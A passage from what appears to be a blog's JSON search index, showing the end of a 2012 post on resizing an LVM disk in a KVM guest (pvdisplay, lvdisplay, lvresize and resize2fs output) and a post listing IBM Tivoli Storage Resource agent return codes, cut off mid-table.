style=\"display:flex;\"\u003e\u003cspan\u003eFree PE               58\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAllocated PE          64\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePV UUID               3KFfOG-kfJZ-hNtT-0vo5-Lpzk-4iMR-rMmLzH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# lvdisplay\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e--- Logical volume ---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Name                /dev/VolGroup00/LogVol00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVG Name                VolGroup00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV UUID                f134eo-A1TY-mj72-g16E-oBnl-fnNM-4hULDC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Write Access        read/write\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Status              available\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# open                 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Size                1.75 GB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCurrent LE             56\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSegments               2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAllocation             inherit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRead ahead sectors     auto\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- currently set to     256\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBlock device           252:0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e--- Logical volume ---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Name                /dev/VolGroup00/LogVol01\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVG Name                VolGroup00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV UUID                1gNpNl-ypNO-bj4a-Gsyb-eGnS-UcFh-Rbocfj\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Write Access        read/write\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Status              available\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# open                 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLV Size                256.00 MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCurrent LE             8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSegments               1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAllocation             inherit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRead ahead sectors     auto\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- currently set to     256\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBlock device           252:1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# lvresize /dev/VolGroup00/LogVol00 -l +1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eExtending logical volume LogVol00 to 3.59 GB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInsufficient free space: 1 extents needed, but only 0 available\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# resize2fs /dev/VolGroup00/LogVol00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eresize2fs 1.39 (29-May-2006)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFilesystem at /dev/VolGroup00/LogVol00 is mounted on /; on-line resizing required\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePerforming an on-line resize of /dev/VolGroup00/LogVol00 to 933888 (4k) blocks.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe filesystem on /dev/VolGroup00/LogVol00 is now 933888 blocks long.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# df -h\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFilesystem            Size  Used Avail Use% Mounted on\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/mapper/VolGroup00-LogVol00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3.5G  1.5G  1.8G  46% /\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda1              99M   40M   54M  43% /boot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etmpfs                 502M     0  502M   0% /dev/shm\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# reboot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBroadcast message from root (pts/0) (Sat Sep 15 23:43:32 2012):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe system is going down for reboot NOW!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]#`\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Linux - KVM Guest LVM Disk Resize "},{"content":"For really strange combination of events, I need this tables of error codes from Tivoli Productivity Center - Storage resource agent.\nReturn code Explanation 1 There is a problem uninstalling the Data agent or Fabric agent. For more information about what caused the uninstallation to fail, check the uninstallation logs for the Data agent or Fabric agent. 2 Command not valid. 3 Option provided is not valid. 5 Argument is not valid. 6 Missing value for argument (e.g. -installLoc , where is missing). 7 Missing localized string in message file. 8 Probe is running. 9 Failed to open file for write. 10 Failed to close file. 11 Logfile not specified.19Failed in tracing.21Cannot spawn a probe because it is busy. 30 This is an internal error in initializing tracing. Save the error message and error log and contact your service representative for assistance in resolving the error. 32 Invalid socket. 33 Start service failed. 34 Registry entry not found. 35 Deployment of the agent failed, error creating startup scripts. 36 File does not exist. 40 Missing upgrade files. 41 Failed to extract files in upgrade process. 42 Failed to stop probe in upgrade process. 43 Failed to stop Agent. 44 Failed to start Agent. 45 Agent Registration to server failed. 46 File extraction needs more space. 47 Failed to open archive file. 48 Agent did not start after upgrade. 49 Installation directory not valid at upgrade time. 50 Probe is running. 51 Data file not found. 52 Exit code not in the output file. 53 Failed to send job status. 54 Failed to copy certificate files. 55 Failed to create directory. 56 Failed to remove directory. 57 Exec command failed. 58 Conversion of wide character failed. 59 Installation directory not valid. 60 Server name not defined. 61 Error in removing entries from configuration file. 62 Failed to stop probe at uninstall time. 63 Failed to remove registry entry at uninstall time. 64 Failed to remove service entry at uninstall time. 65 Failed to stop service at uninstall time. 66 Specified server name is not valid. 67 There is an error installing the Storage Resource agent as part of the migration process. For more information about what caused the installation to fail, check the installation logs for the Storage Resource agent. 71 Failed to spawn process. 73 Failed to spawn probe process. 101 Failed to create lock at installation time. 102 Failed to stop probe at re-installation time. 103 Failed to stop agent at re-installation time. 104 Failed to create registry at installation time. 105 Failed to extract files at installation time. 106 Failed to create entries in configuration file at installation time. 107 Failed to stop service at re-installation time. 108 Service already exists. 109 Failed to create service. 110 Failed to start service. 111 Probe failed at installation time. 112 Creation of daemon failed. 113 Installation of GUID failed. 114 Commtype parameter is not valid. 115 Specified port is in use. 116 Installation/Upgrade does not have enough space. 117 Installation in progress. 118 Cannot get server name from Server. 119 Installation location is not empty. 120 Missing parameter Server Name. 121 Missing parameter Server Port. 123 Missing parameter Server IP. 124 Missing parameter Agent Port. 125 Missing parameter Installation location. 127 Deployment from Windows to Linux failed. 130 Failed to send probe results. 131 Failed to initialize Agent. 133 Missing port number for Service. 134 Get data file stat failed. 135 Get data file read failed. 137 Failed to send data to server. 138 Failed to receive data from server. 139 Full path not specified for copy file. 140 Create file failed in copy file function. 141 Write file failed in copy file function. 142 Open file failed in copy file function. 143 Read file failed in copy file function. 145 UCS conversion failed. 146 Server connection failed. 148 Failed to create zip file. 149 Failed to unzip file. 160 Failed to send scan results. 161 Failed to send TSM status results. 164 Failed to validate user. 165 Job file was not found. 166 Job was not stopped. 168 Not enough free space available while copying file from server. 169 Multipath driver not found. 170 Multipath device not found. 171 Multipath policy is not supported. 172 Only Round Robin policy is supported for Multipath DM driver. ","permalink":"https://www.deepreflect.net/2012/11/26/tpc-storage-resource-agent-error-code/","summary":"\u003cp\u003eFor really strange combination of events, I need this tables of error codes from Tivoli Productivity Center - Storage resource agent.\u003c/p\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eReturn code\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eExplanation\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eThere is a problem uninstalling the Data agent or Fabric agent. For more information about what caused the uninstallation to fail, check the uninstallation logs for the Data agent or Fabric agent.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCommand not valid.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eOption provided is not valid.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eArgument is not valid.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing value for argument (e.g. -installLoc \u003cValue\u003e, where \u003cValue\u003e is missing).\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e7\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing localized string in message file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e8\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eProbe is running.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e9\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to open file for write.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e10\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to close file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e11\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eLogfile not specified.19Failed in tracing.21Cannot spawn a probe because it is busy.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e30\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eThis is an internal error in initializing tracing. Save the error message and error log and contact your service representative for assistance in resolving the error.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e32\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInvalid socket.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e33\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eStart service failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e34\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eRegistry entry not found.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e35\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eDeployment of the agent failed, error creating startup scripts.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e36\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFile does not exist.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e40\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing upgrade files.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e41\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to extract files in upgrade process.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e42\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to stop probe in upgrade process.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e43\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to stop Agent.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e44\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to start Agent.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e45\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eAgent Registration to server failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e46\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFile extraction needs more space.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e47\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to open archive file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e48\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eAgent did not start after upgrade.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e49\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInstallation directory not valid at upgrade time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e50\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eProbe is running.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e51\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eData file not found.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e52\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eExit code not in the output file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e53\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to send job status.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e54\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to copy certificate files.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e55\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to create directory.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e56\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to remove directory.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e57\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eExec command failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e58\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eConversion of wide character failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e59\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInstallation directory not valid.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e60\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eServer name not defined.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e61\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eError in removing entries from configuration file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e62\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to stop probe at uninstall time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e63\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to remove registry entry at uninstall time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e64\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to remove service entry at uninstall time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e65\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to stop service at uninstall time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e66\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eSpecified server name is not valid.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e67\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eThere is an error installing the Storage Resource agent as part of the migration process. For more information about what caused the installation to fail, check the installation logs for the Storage Resource agent.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e71\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to spawn process.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e73\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to spawn probe process.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e101\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to create lock at installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e102\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to stop probe at re-installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e103\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to stop agent at re-installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e104\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to create registry at installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e105\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to extract files at installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e106\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to create entries in configuration file at installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e107\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to stop service at re-installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e108\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eService already exists.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e109\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to create service.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e110\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to start service.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e111\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eProbe failed at installation time.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e112\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCreation of daemon failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e113\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInstallation of GUID failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e114\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCommtype parameter is not valid.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e115\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eSpecified port is in use.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e116\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInstallation/Upgrade does not have enough space.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e117\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInstallation in progress.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e118\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCannot get server name from Server.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e119\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInstallation location is not empty.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e120\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing parameter Server Name.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e121\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing parameter Server Port.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e123\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing parameter Server IP.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e124\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing parameter Agent Port.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e125\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing parameter Installation location.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e127\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eDeployment from Windows to Linux failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e130\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to send probe results.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e131\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to initialize Agent.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e133\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMissing port number for Service.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e134\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eGet data file stat failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e135\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eGet data file read failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e137\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to send data to server.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e138\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to receive data from server.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e139\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFull path not specified for copy file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e140\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCreate file failed in copy file function.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e141\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eWrite file failed in copy file function.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e142\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eOpen file failed in copy file function.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e143\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eRead file failed in copy file function.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e145\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eUCS conversion 